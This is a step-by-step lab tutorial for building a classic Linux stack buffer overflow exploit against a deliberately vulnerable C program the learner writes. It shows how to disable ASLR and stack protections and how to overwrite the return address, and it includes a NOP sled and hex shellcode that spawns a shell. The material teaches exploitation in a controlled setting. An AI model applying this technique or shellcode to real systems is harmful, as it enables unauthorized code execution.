Linux Buffer Overflow

What You Need

A 32-bit x86 Kali Linux machine, real or virtual.

Purpose

To develop a very simple buffer overflow exploit in Linux. This will give you practice with these techniques:

Observing ASLR

Address Space Layout Randomization is a defense feature to make buffer overflows more difficult, and Kali Linux uses it by default.

To see what it does, we'll use a simple C program that shows the value of $esp -- the Extended Stack Pointer.

In a Terminal, execute this command:


nano esp.c
Enter this code, as shown below:

#include <stdio.h>
void main() {
        register int i asm("esp");
        printf("$esp = %#010x\n", i);
}

Save the file with Ctrl+X, Y, Enter.

In a Terminal, execute these commands:


gcc -o esp esp.c
./esp
./esp
./esp
Each time you run the program, esp changes, as shown below:

This makes you much safer, but it's an irritation we don't need for this project, so we'll turn it off.

Disabling ASLR

Fortunately, it's easy to temporarily disable ASLR in Kali Linux.

In a Terminal, execute these commands:


echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
./esp
./esp
./esp
Now esp is always the same, as shown below:

Creating a Vulnerable Program

This program does nothing useful, but it's very simple. It takes a single string argument, copies it to a buffer, and then prints "Done!".

In a Terminal window, execute this command:


nano bo1.c
Enter this code:

#include <string.h>
#include <stdio.h>
void main(int argc, char *argv[]) {
	char buffer[100];
	strcpy(buffer, argv[1]);
	printf("Done!\n");
}

Save the file with Ctrl+X, Y, Enter.

Execute these commands to compile the code without modern protections against stack overflows, and run it with an argument of "A":


gcc -g -fno-stack-protector -z execstack -o bo1 bo1.c

./bo1 A
The code exits normally, wth the "Done!" message, as shown below.

Using Perl to Create an Exploit File

First, let's see how to use Perl to print a string of characters.

In a Terminal window, execute this command:


perl -e 'print "A" x 10'
This prints out ten "A" characters, as shown below.

In a Terminal window, execute these commands.

Note that the second command is "LS -L" in lowercase characters.


perl -e 'print "A" x 116' > e1
ls -l 
This creates a file named "e1" containing 116 "A" characters, as shown below.

Overflowing the Stack

In a Terminal window, execute this command.

Note: the "$(cat e1)" portion of this command prints out the contents of the e1 file and feeds it to the program as a command-line argument. A more common way to do the same thing is with the input redirection operator: "./bo1 < e1". However, that technique gave different results in the command-line and the debugger, so the $() construction is better for this project.


./bo1 $(cat e1)
The program runs, copies the string, returns from strcpy(), prints "Done!", and then crashes with a "Segmentation fault" message, as shown below.

This is very useful--it means that the program continues to run to its end, but it is unable to exit and return control to the shell normally.

As it is, this is a DoS exploit--it causes the program to crash.

Our next task is to convert this DoS exploit into a Code Execution exploit.

To do that, we need to analyze what caused the segmentation fault, and control it.

Debugging the Program

Execute these commands to run the file in the gdb debugging environment, list the source code, and set a breakpoint:

gdb bo1
list
break 6
Because this file was compiled with symbols, the C source code is visible in the debugger, with handy line numbers, as shown below.

The "break 6" command tells the debugger to stop before executing line 6, so we can examine the state of the processor and memory.

Normal Execution

In the gdb debugging environment, execute these commands:

run A
info registers
The code runs to the breakpoint, and shows the registers, as shown below.

The important registers for us now are:

In the gdb debugging environment, execute this command:


x/40x $esp
This command is short for "eXamine 40 heXadecimal words, starting at $esp". It shows the stack. Find these items, as shown below:

Overflowing the Stack with "A" Characters

In the gdb debugging environment, execute this command:

run $(cat e1)
gdb warns you that a program is already running. At the "Start it from the beginning? (y or n)" prompt, type y and then press Enter.

The program runs to the breakpoint.

In the gdb debugging environment, execute these commands:


info registers
x/40x $esp
Notice that $esp has changed--this often makes trouble later on, but for now just find these items in your display,as shown below:

Quitting the Debugger

In the gdb debugging environment, execute this command:

quit
At the "Quit anyway? (y or n)" prompt, type y and press Enter.

Targeting the Return Address

In a Terminal window, execute these commands:

cp e1 e2
hexedit e2
This copies your DoS exploit file e1 to a new file named e2, and starts it in the hexedit hexadecimal editor.

In the hexedit window, carefully change the last 4 bytes from "41 41 41 41" to "31 32 33 34", as shown below.

Save the file with Ctrl+X, Y.

Testing Exploit 2 in the Debugger

In a Terminal window, execute these commands:

gdb bo1
break 6
run $(cat e2)
info registers
x/40x $esp
As you can see, the return address is now 0x34333231, as outlined in green in the image below.

This means you can control execution by placing the correct four bytes here, in reverse order.

Quitting the Debugger

In the gdb debugging environment, execute this command:

quit
At the "Quit anyway? (y or n)" prompt, type y and press Enter.

Making a NOP Sled

There are some imperfections in the debugger, so an exploit that works in gdb may fail in a real Linux shell. This happens because environment variables and other details may cause the location of the stack to change slightly.

The usual solution for this problem is a NOP Sled--a long series of "90" bytes, which do nothing when processed and proceed to the next instruction.

For this exploit, we'll use a 64-byte NOP Sled.

In the Terminal, execute these commands:


perl -e 'print "\x90" x 64' > nopsled
ls -l
This creates a "nopsled" file exactly 64 bytes long, as shown below.

In the Terminal, execute this command:


hexedit nopsled
The file is full of "90" values, as shown below.

Press Ctrl+X to exit hexedit.

Making Shellcode

The shellcode is the payload of the exploit. It can do anything you want, but it must not contain any null bytes (00) because they would terminate the string prematurely and prevent the buffer from overflowing.

For this project, I am using shellcode that spawns a root shell from this page:

http://www.tenouk.com/Bufferoverflowc/Bufferoverflow6.html

Of course, you are already root on Kali Linux, so this exploit doesn't really accomplish anything, but it's a way to see that you have exploited the program.

In the Terminal, execute these commands:


perl -e 'print "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e"' > shellcode

perl -e 'print "\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"' >> shellcode

perl -e 'print "\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"' >> shellcode

ls -l
The "shellcode" file should be exactly 32 bytes long, as shown below.

In the Terminal, execute this command:


hexedit shellcode
The shellcode should be exactly as shown below.

Press Ctrl+X to exit hexedit.

Assembling the Exploit

In the Terminal, execute these commands:

cp nopsled e3
cat shellcode >> e3
perl -e 'print "A" x 20' >> e3
ls -l
The "ex3" file should be exactly 116 bytes long, as shown below.

In the Terminal, execute this command:


hexedit e3
In the hexedit window, carefully change the last 4 bytes from "41 41 41 41" to "31 32 33 34", as shown below.

Save the file with Ctrl+X, Y.

Testing Exploit 3 in gdb

In a Terminal window, execute these commands:

gdb bo1
break 6
run $(cat e3)
info registers
x/40x $esp
This loads the exploit, executes it, and stops so we can see the stack.

Find these items:

In the gdb window, execute this command:


continue
The program crashes, because it attempts to execute code at the address 0x34333231, as shown below.

That address is incorrect--we need to insert an address that will hit our shellcode.

Examining the gdb screen, pick any address in the shellcode. When I did it, I chose 0xbffff440. Make a note of your address.

Quitting the Debugger

In the gdb debugging environment, execute this command:

quit
At the "Quit anyway? (y or n)" prompt, type y and press Enter.

Adjusting the Return Address

In the Terminal, execute these commands:

cp e3 e4
hexedit e4
In the hexedit window, carefully change the last 4 bytes from "31 32 33 34", to the address of your shellcode.

You must break the address into four bytes and insert them in reverse order.

When I did it, the address was 0xbffff440, so they bytes I typed in were

40 f4 ff bf

as shown below.

Save the file with Ctrl+X, Y.

Testing Exploit 4 in gdb

In a Terminal window, execute these commands:

gdb bo1
break 6
run $(cat e4)
info registers
x/40x $esp
This loads the exploit, executes it, and stops so we can see the stack.

Now the return address is 0xbffff440, as shown below. That should work!

In the gdb window, execute this command:


continue
The exploit works, executing a new program "/bin/dash", as shown below.

We now have a working buffer overflow exploit, that returns a shell.

Exiting the Dash Shell

At the dash shell "#" prompt, execute this command:

exit

Quitting the Debugger

In the gdb debugging environment, execute this command:

quit

Testing Exploit 4 in the Normal Shell

In the Terminal window, execute this command:

./bo1 $(cat e4)
If the exploit works, you will see the "#" prompt, as shown below.

Adjusting the Exploit

When I did it with these values, no adjustment was necessary, but when I was developing this project with slight variations in the vulnerable code, the exloit worked in gdb but not in the real shell.

That's a common occurrence, and the reason for the NOP sled. If that happens to you, adjust the return value in the exploit file using hexedit--just try varying it by 20, 40, 60, etc. until it works.

Sources

Penetration Testing

http://www.offensive-security.com/metasploit-unleashed/Msfpayload

http://www.offensive-security.com/metasploit-unleashed/Generating_Payloads

https://isisblogs.poly.edu/2011/04/13/cheatsheet-using-msf-to-make-linux-shellcode/

http://www.tenouk.com/Bufferoverflowc/Bufferoverflow6.html

http://stackoverflow.com/questions/14344654/how-to-use-debug-libraries-on-ubuntu

http://stackoverflow.com/questions/15306090/cant-step-into-string-h-function-with-gdb

http://askubuntu.com/questions/180207/reading-source-of-strlen-c

http://askubuntu.com/questions/318315/how-can-i-temporarily-disable-aslr-address-space-layout-randomization

http://stackoverflow.com/questions/17775186/buffer-overflow-works-in-gdb-but-not-without-it

http://security.stackexchange.com/questions/33293/can-exploit-vulnerability-if-program-started-with-gdb-but-segfaults-if-started


Posted 4:32 pm 6-1-14 by Sam Bowne